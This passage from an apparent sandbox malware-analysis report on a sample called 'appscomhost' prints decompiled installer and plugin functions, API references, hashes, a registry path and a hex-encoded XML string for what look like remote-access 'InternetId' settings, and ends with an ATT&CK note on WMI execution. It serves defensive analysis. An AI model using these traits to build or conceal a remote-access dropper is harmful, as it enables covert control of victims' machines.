					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E0040644E(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E0040644E(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E0040644E(_t44, _t50, 0x450268, 0x450268, _a8);
				wsprintfW(_t34 + lstrlenW(0x450268) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x472ed8, _a4, 0x450268);
			}

0x00404c1d
0x00404c22
0x00404c2a
0x00404c2b
0x00404c38
0x00404c40
0x00404c41
0x00404c43
0x00404c45
0x00404c47
0x00404c4a
0x00404c4a
0x00404c51
0x00404c57
0x00404c57
0x00404c5e
0x00404c65
0x00404c68
0x00404c6b
0x00404c6b
0x00404c6f
0x00404c7f
0x00404c81
0x00404c84
0x00404c2d
0x00404c2d
0x00404c34
0x00404c34
0x00404c8c
0x00404c97
0x00404cad
0x00404cbe
0x00404cda

APIs

lstrlenW.KERNEL32(00450268,00450268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
wsprintfW.USER32 ref: 00404CBE
SetDlgItemTextW.USER32 ref: 00404CD1

Strings

%u.%u%s%s, xrefs: 00404C9F

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 9ed1df3e4848c37bd0cb4c2893f6238d2f239801bcd3494cff9de5369153633f
Instruction ID: 811655414ed8002b2c018091e1b1a09e70d5f2594be9f223549095af45905272
Opcode Fuzzy Hash: 9ed1df3e4848c37bd0cb4c2893f6238d2f239801bcd3494cff9de5369153633f
Instruction Fuzzy Hash: 6111EB73A0412827EB00656D9D46E9E329C9B85334F264237FE25F31D1E978CC6582EC

Uniqueness

Uniqueness Score: -1.00%

Function 10003292, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10003292(WCHAR* _a4, WCHAR* _a8, struct _SECURITY_ATTRIBUTES* _a12, struct _SECURITY_ATTRIBUTES* _a16, int _a20, long _a24, void* _a28, WCHAR* _a32, struct _STARTUPINFOW* _a36, struct _PROCESS_INFORMATION* _a40) {
				CHAR* _v8;
				CHAR* _v12;
				CHAR* _v16;
				struct _STARTUPINFOA _v84;
				intOrPtr _t36;
				CHAR* _t42;
				int _t48;

				_t36 =  *0x10007000; // 0x0
				if(_t36 != 1) {
					if(_t36 != 0) {
						E100022B7();
						return 0;
					} else {
						return CreateProcessW(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40);
					}
				} else {
					_v8 = E10002F8E(_a4);
					_v12 = E10002F8E(_a8);
					_t42 = E10002F8E(_a32);
					_t62 = _a36;
					_v16 = _t42;
					_t59 = E10002F8E(_a36->lpDesktop);
					_t56 = E10002F8E(_t62->lpTitle);
					E10001844( &_v84, _t62, 0x44);
					_v84.lpDesktop = _t43;
					_v84.lpTitle = _t44;
					_t48 = CreateProcessA(_v8, _v12, _a12, _a16, _a20, _a24, _a28, _v16,  &_v84, _a40);
					E10002335(_v8);
					E10002335(_v12);
					E10002335(_v16);
					E10002335(_t59);
					E10002335(_t56);
					return _t48;
				}
			}

0x10003298
0x100032a0
0x1000334d
0x10003375
0x1000337d
0x1000334f
0x10003374
0x10003374
0x100032a6
0x100032b4
0x100032bf
0x100032c2
0x100032c7
0x100032cd
0x100032d8
0x100032e1
0x100032e8
0x100032fa
0x10003300
0x10003315
0x10003320
0x10003328
0x10003330
0x10003336
0x1000333c
0x1000334a
0x1000334a

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,00000000,?,?,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076), ref: 10003315

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

CreateProcessW.KERNEL32 ref: 1000336D

Strings

3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 100032A8
REG_BINARY, xrefs: 100032A6

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: CreateProcess$FreeGlobal
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$REG_BINARY
API String ID: 4023010479-1881602935
Opcode ID: bf5e7a4f0ac82943dd2a548e61c3cf54314dd7c45850d882d51d0582140ecce1
Instruction ID: 79578aae78e280bfbc3557a1042b5dc1f117bd97d0e02cdd4c4a421a6e62ab7f
Opcode Fuzzy Hash: bf5e7a4f0ac82943dd2a548e61c3cf54314dd7c45850d882d51d0582140ecce1
Instruction Fuzzy Hash: 2B21B57690010EBBEF029FE0CD458DEBFB6FF0C294B054565FA15A2125DB36EA61AB40

Uniqueness

Uniqueness Score: -1.00%

Function 10002B26, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002B26(char* _a4, int _a8) {
				void* __ebx;
				signed int _t8;
				short* _t10;
				void* _t18;
				int _t20;
				void* _t22;
				intOrPtr _t27;

				_t8 =  *0x10007288; // 0x41e650
				if(_t8 == 0) {
					L7:
					return _t8 | 0xffffffff;
				}
				_t22 =  *_t8;
				if(_t22 == 0) {
					goto L7;
				}
				_t27 =  *0x10007008; // 0x1
				_t1 = _t22 + 4; // 0x404
				_t10 = _t1;
				if(_t27 == 0) {
					_t20 = E1000193F(0, _a4, _t10, _a8);
				} else {
					_t20 = WideCharToMultiByte(0, 0, _t10, 0xffffffff, _a4, _a8, 0, 0);
					if(_t20 != 0) {
						_t20 = _t20 - 1;
						_a4[_t20] = 0;
					}
				}
				_t18 =  *0x10007288; // 0x41e650
				 *_t18 =  *_t22;
				GlobalFree(_t22);
				return _t20;
			}

0x10002b29
0x10002b34
0x10002b91
0x00000000
0x10002b91
0x10002b36
0x10002b3a
0x00000000
0x00000000
0x10002b3c
0x10002b43
0x10002b43
0x10002b46
0x10002b79
0x10002b48
0x10002b5b
0x10002b5f
0x10002b64
0x10002b65
0x10002b65
0x10002b5f
0x10002b7d
0x10002b84
0x10002b86
0x00000000

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000404,000000FF,?,?,00000000,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,10002FC4,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?), ref: 10002B55
GlobalFree.KERNEL32 ref: 10002B86

Strings

PA, xrefs: 10002B29, 10002B7D
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10002B42

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: ByteCharFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$PA
API String ID: 3919039628-495514156
Opcode ID: 32a5f640bf3d20e82eb97378d19884fe9b2870d25be8576a8a599d6f922fa271
Instruction ID: 94ef8b905a601dcdfaa0917f5170aaa4dd93efab9ced69d792deb47b18fda5ac
Opcode Fuzzy Hash: 32a5f640bf3d20e82eb97378d19884fe9b2870d25be8576a8a599d6f922fa271
Instruction Fuzzy Hash: 20016276504118AFEB51CF68CCC0CAA77EDFB483E47214625FA59C7268D731AC849B50

Uniqueness

Uniqueness Score: -1.00%

Function 10003100, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10003100(WCHAR* _a4, long _a8, long _a12, struct _SECURITY_ATTRIBUTES* _a16, long _a20, long _a24, void* _a28) {
				intOrPtr _t15;
				void* _t20;

				_t15 =  *0x10007000; // 0x0
				if(_t15 != 1) {
					if(_t15 != 0) {
						E100022B7();
						return 0;
					} else {
						return CreateFileW(_a4, _a8, _a12, _a16, _a20, _a24, _a28);
					}
				} else {
					_t29 = E10002F8E(_a4);
					_t20 = CreateFileA(_t19, _a8, _a12, _a16, _a20, _a24, _a28);
					E10002335(_t29);
					return _t20;
				}
			}

0x10003103
0x1000310b
0x10003144
0x10003163
0x1000316b
0x10003146
0x10003162
0x10003162
0x1000310d
0x1000311b
0x1000312d
0x10003136
0x10003141
0x10003141

APIs

CreateFileA.KERNEL32(00000000,00000002,00000000,00000000,40000000,?,10004D86,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,?,10004D86,InternetId,40000000,00000000,00000000,00000002), ref: 1000312D

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

CreateFileW.KERNEL32(00000080,00000002,00000000,00000000,40000000,?,10004D86,?,10004D86,InternetId,40000000,00000000,00000000,00000002,00000080,00000000), ref: 1000315B

Strings

SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 1000310D
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 1000310E

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: CreateFile$FreeGlobal
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 1218761222-3412514566
Opcode ID: 03f718a61e293d359e9e9a8ba024a06d78f74135fe57c416d1b44bf5559ad8f4
Instruction ID: 74c5b6659c73766a368cdaed38220c824ad993bcbbf413254767937a812eba87
Opcode Fuzzy Hash: 03f718a61e293d359e9e9a8ba024a06d78f74135fe57c416d1b44bf5559ad8f4
Instruction Fuzzy Hash: 4B01B23610015ABBEF029F94EC05CDB3FAAFF8C2A0B008425FA1891124D736D971AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00402FB1, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402FB1(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					if( *0x43c220 == 0) {
						_t2 = GetTickCount();
						if(_t2 >  *0x47af10) {
							_t3 = CreateDialogParamW( *0x47af00, 0x6f, 0, E00402F2B, 0);
							 *0x43c220 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406842(0);
					}
				} else {
					_t6 =  *0x43c220;
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x43c220 = 0;
					return _t6;
				}
			}

0x00402fb8
0x00402fd8
0x00402fe2
0x00402fee
0x00402fff
0x00403008
0x00000000
0x0040300d
0x00403014
0x00402fda
0x00402fe1
0x00402fe1
0x00402fba
0x00402fba
0x00402fc1
0x00402fc4
0x00402fc4
0x00402fca
0x00402fd1
0x00402fd1

APIs

DestroyWindow.USER32(?,00000000,0040318F,00000001,?,00000007,00000009,0000000B), ref: 00402FC4
GetTickCount.KERNEL32 ref: 00402FE2
CreateDialogParamW.USER32 ref: 00402FFF
ShowWindow.USER32(00000000,00000005,?,00000007,00000009,0000000B), ref: 0040300D

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 70f0b388dd21232c2c65da76273f4f60c94fe29f8828ae3135c04f7430997c30
Instruction ID: 52b45c8f45a5f2c127c31a749c97c0686309135d86dd8c0af8ec320769358175
Opcode Fuzzy Hash: 70f0b388dd21232c2c65da76273f4f60c94fe29f8828ae3135c04f7430997c30
Instruction Fuzzy Hash: C0F0823190A621EBC6616F50FE4CA8F7B74F748B417114CBAF445B11E5D77408809B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004053ED, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004053ED(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x450254 != _t16) {
							_push(_t16);
							_push(6);
							 *0x450254 = _t16;
							E00404DA2();
						}
						L11:
						return CallWindowProcW( *0x45025c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404D22(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004043B3(0x413);
				return 0;
			}

0x004053f1
0x004053fb
0x00405417
0x00405439
0x0040543c
0x00405442
0x0040544c
0x0040544d
0x0040544f
0x00405455
0x00405455
0x0040545f
0x00000000
0x0040546d
0x00405424
0x0040545c
0x0040545c
0x00000000
0x0040545c
0x00405430
0x00405432
0x00000000
0x00405432
0x00405401
0x00000000
0x00000000
0x00405408
0x00000000

APIs

IsWindowVisible.USER32 ref: 0040541C
CallWindowProcW.USER32(?,?,?,?), ref: 0040546D

Part of subcall function 004043B3: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043C5

Strings

, xrefs: 004053FD

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 89d0a6dee95588d131d3d47e9350fd55f7d3d2cf1176764b9d5aae0d35bf5449
Instruction ID: 88927b703e8c24d0b93df1e639ad50c2d59d95cfe74231ab28c686ca5eb01056
Opcode Fuzzy Hash: 89d0a6dee95588d131d3d47e9350fd55f7d3d2cf1176764b9d5aae0d35bf5449
Instruction Fuzzy Hash: AA012C71100709AFDF216F11DD84BDB3B66EB84756F204036FB05792E2C77A8C929A6E

Uniqueness

Uniqueness Score: -1.00%

Function 1000316C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000316C(WCHAR* _a4) {
				intOrPtr _t3;
				long _t8;

				_t3 =  *0x10007000; // 0x0
				if(_t3 != 1) {
					if(_t3 != 0) {
						return E100022B7() | 0xffffffff;
					} else {
						return GetFileAttributesW(_a4);
					}
				} else {
					_t8 = GetFileAttributesA(E10002F8E(_a4));
					E10002335(_t7);
					return _t8;
				}
			}

0x1000316c
0x10003174
0x1000319b
0x100031b0
0x1000319d
0x100031a7
0x100031a7
0x10003176
0x10003185
0x1000318e
0x10003198
0x10003198

APIs

GetFileAttributesA.KERNEL32(00000000,InternetId,00000000,10003387,?,100037F9,InternetId,InternetId,00000400,?,?,?,?), ref: 10003185

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

GetFileAttributesW.KERNEL32(?,10003387,?,100037F9,InternetId,InternetId,00000400,?,?,?,?), ref: 100031A1

Strings

InternetId, xrefs: 10003177

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: AttributesFile$FreeGlobal
String ID: InternetId
API String ID: 3116069549-2963018068
Opcode ID: b0040dd0d3c89e14ca5a3306b12d4be60eadcb490ea2262c82b620b1b288e48a
Instruction ID: 305a3f1c30f4f05c2244c7c445180b7159b1366a742890e0fe54cc613a0ea0da
Opcode Fuzzy Hash: b0040dd0d3c89e14ca5a3306b12d4be60eadcb490ea2262c82b620b1b288e48a
Instruction Fuzzy Hash: F7E086366441217BFA029739ED4899F3BEAEFC93F27654639F018C20A8DB24CC418551

Uniqueness

Uniqueness Score: -1.00%

Function 004059FA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059FA(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x468270->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x468270,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405a03
0x00405a23
0x00405a2b
0x00405a30
0x00000000
0x00405a36
0x00405a3a

APIs

CreateProcessW.KERNEL32 ref: 00405A23
CloseHandle.KERNEL32(?), ref: 00405A30

Strings

Error launching installer, xrefs: 00405A0D

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 37368290f64da875bbae9d9c7582a2f0bb544b3c4d07260a310da997f57dcc43
Instruction ID: ebce4b591d094ce80005d87e7c2939658917637080ccb23ea2c669b1becda536
Opcode Fuzzy Hash: 37368290f64da875bbae9d9c7582a2f0bb544b3c4d07260a310da997f57dcc43
Instruction Fuzzy Hash: F1E0BFB46006097FEB109F65DD05F7B77ACEB04704F004565BD50F6150EBB598158A7D

Uniqueness

Uniqueness Score: -1.00%

Function 100022B7, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100022B7() {
				void* _t1;

				if( *0x10007004 == 0xffffffff) {
					 *0x10007004 =  *0x10007004 & 0x00000000;
					return MessageBoxW(0, L"WideInitialize() required.", L"WideFunc.h header", 0x10);
				}
				return _t1;
			}

0x100022be
0x100022c0
0x00000000
0x100022d5
0x100022db

APIs

MessageBoxW.USER32(00000000,WideInitialize() required.,WideFunc.h header,00000010), ref: 100022D5

Strings

WideFunc.h header, xrefs: 100022C9
WideInitialize() required., xrefs: 100022CE

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Message
String ID: WideFunc.h header$WideInitialize() required.
API String ID: 2030045667-1193123403
Opcode ID: c06a0c939cd463eb93c852ebc662a5d4828bb1a1b56a4cc0927362c1b7063354
Instruction ID: b7ecd952ef69b07184ea3c549d6369c39419215407db36073fbb9cb7351f4b52
Opcode Fuzzy Hash: c06a0c939cd463eb93c852ebc662a5d4828bb1a1b56a4cc0927362c1b7063354
Instruction Fuzzy Hash: 17C04C30DD1761EBFA21C7608D49B813252F7197F7F218744F369250EDC3B520549559

Uniqueness

Uniqueness Score: -1.00%

Function 00405E6C, Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E6C(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405e7c
0x00405e7e
0x00405e81
0x00405ead
0x00405e86
0x00405e8f
0x00405e94
0x00405e9f
0x00405ea2
0x00405ebe
0x00405ea4
0x00405eab
0x00000000
0x00405eab
0x00405eb7
0x00405ebb
0x00405ebb
0x00405eb5
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E94
CharNextA.USER32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EA5
lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: 346f7042b660fb70b52ae74c1c6e121eab6bc84344666f805f11c7930e864ff2
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: A8F06231505418FFD7029BA5DE0099FBBA8EF56250B2540AAE880F7250D674EF019BA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
